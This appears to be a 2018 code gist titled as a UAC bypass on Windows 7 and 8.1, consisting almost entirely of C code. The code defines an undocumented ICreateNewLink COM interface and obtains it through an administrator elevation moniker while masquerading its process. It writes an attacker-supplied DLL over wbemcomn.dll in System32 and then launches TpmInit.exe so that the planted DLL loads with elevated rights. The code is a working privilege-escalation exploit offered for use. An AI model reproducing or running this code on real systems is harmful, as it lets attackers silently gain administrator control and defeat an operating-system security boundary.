UAC bypass using CreateNewLink COM interface
August 23, 2018 ยท View on GitHub
typedef struct tagCREATELINKDATA { ULONG dwFlags; WCHAR szLinkName[MAX_PATH]; // + 0x20C WCHAR szExeName[MAX_PATH]; // + 0x414 WCHAR szParams[MAX_PATH]; // + 0x61C WCHAR szWorkingDir[MAX_PATH]; // + 0x824 WCHAR szOriginalName[MAX_PATH]; // + 0xA2C WCHAR szExpExeName[MAX_PATH]; // + 0xC34 WCHAR szProgDesc[MAX_PATH]; // + 0xE3C WCHAR szFolder[MAX_PATH]; // + 0x1044 WCHAR szExt[MAX_PATH]; // + 0x124C WCHAR szIconFile[MAX_PATH]; // + 0x1454 USHORT wIconIndex; } CREATELINKDATA, *PCREATELINKDATA;
typedef interface ICreateNewLink ICreateNewLink;
typedef struct ICreateNewLinkVtbl {
BEGIN_INTERFACE
HRESULT(STDMETHODCALLTYPE *QueryInterface)(
__RPC__in ICreateNewLink * This,
__RPC__in REFIID riid,
_COM_Outptr_ void **ppvObject);
ULONG(STDMETHODCALLTYPE *AddRef)(
__RPC__in ICreateNewLink * This);
ULONG(STDMETHODCALLTYPE *Release)(
__RPC__in ICreateNewLink * This);
HRESULT(STDMETHODCALLTYPE *CreateNewLink)(
__RPC__in ICreateNewLink * This,
__RPC__in PCREATELINKDATA LinkData,
__RPC__in DWORD dwFlags);
HRESULT(STDMETHODCALLTYPE *RenameLink)(
__RPC__in ICreateNewLink * This,
__RPC__in PCREATELINKDATA LinkData);
END_INTERFACE
} *PICreateNewLinkVtbl;
interface ICreateNewLink { CONST_VTBL struct ICreateNewLinkVtbl *lpVtbl; };
// // Win 7, Win 8.1 // CreateNewLink is not in COMAutoApprovalList in Windows 10 // VOID Method49a_Test() { HRESULT hr;
ICreateNewLink *CreateNewLink = NULL;
BIND_OPTS3 bop;
WCHAR szElevationMoniker[MAX_PATH], szError[100];
CREATELINKDATA LinkData;
IID xIID_CreateNewLink;
SHELLEXECUTEINFO sh;
supMasqueradeProcess(FALSE);
if (SUCCEEDED(CoInitializeEx(
NULL,
COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE)))
{
if (IIDFromString(L"{B5AB9C96-C11D-43E7-B44C-79B13EE7AC6F}", &xIID_CreateNewLink) == S_OK) {
RtlSecureZeroMemory(szElevationMoniker, sizeof(szElevationMoniker));
_strcpy(szElevationMoniker, L"Elevation:Administrator!new:{1BA783C1-2A30-4ad3-B928-A9A46C604C28}");
RtlSecureZeroMemory(&bop, sizeof(bop));
bop.cbStruct = sizeof(bop);
bop.dwClassContext = CLSCTX_LOCAL_SERVER;
hr = CoGetObject(szElevationMoniker, (BIND_OPTS *)&bop, &xIID_CreateNewLink, &CreateNewLink);
if (SUCCEEDED(hr)) {
RtlSecureZeroMemory(&LinkData, sizeof(LinkData));
LinkData.dwFlags = 0x200;
_strcpy(LinkData.szExeName, L"C:\\trash\\MLP.dll");
_strcpy(LinkData.szLinkName, L"C:\\Windows\\System32\\wbem\\wbemcomn.dll");
hr = CreateNewLink->lpVtbl->CreateNewLink(CreateNewLink, &LinkData, 0);
if (!SUCCEEDED(hr)) {
_strcpy(szError, L"CreateNewLink failed = 0x");
ultostr(hr, _strend(szError));
MessageBox(GetDesktopWindow(), szError, NULL, MB_OK);
}
else {
RtlSecureZeroMemory(&sh, sizeof(sh));
sh.cbSize = sizeof(sh);
sh.lpFile = L"C:\\Windows\\System32\\TpmInit.exe";
sh.nShow = SW_HIDE;
sh.fMask = SEE_MASK_NOCLOSEPROCESS;
if (ShellExecuteEx(&sh)) {
if (WaitForSingleObject(sh.hProcess, 5000) == WAIT_TIMEOUT)
TerminateProcess(sh.hProcess, 0);
CloseHandle(sh.hProcess);
}
}
CreateNewLink->lpVtbl->Release(CreateNewLink);
}
else {
_strcpy(szError, L"CoGetObject failed = 0x");
ultostr(hr, _strend(szError));
MessageBox(GetDesktopWindow(), szError, NULL, MB_OK);
}
}
CoUninitialize();
}
return;
}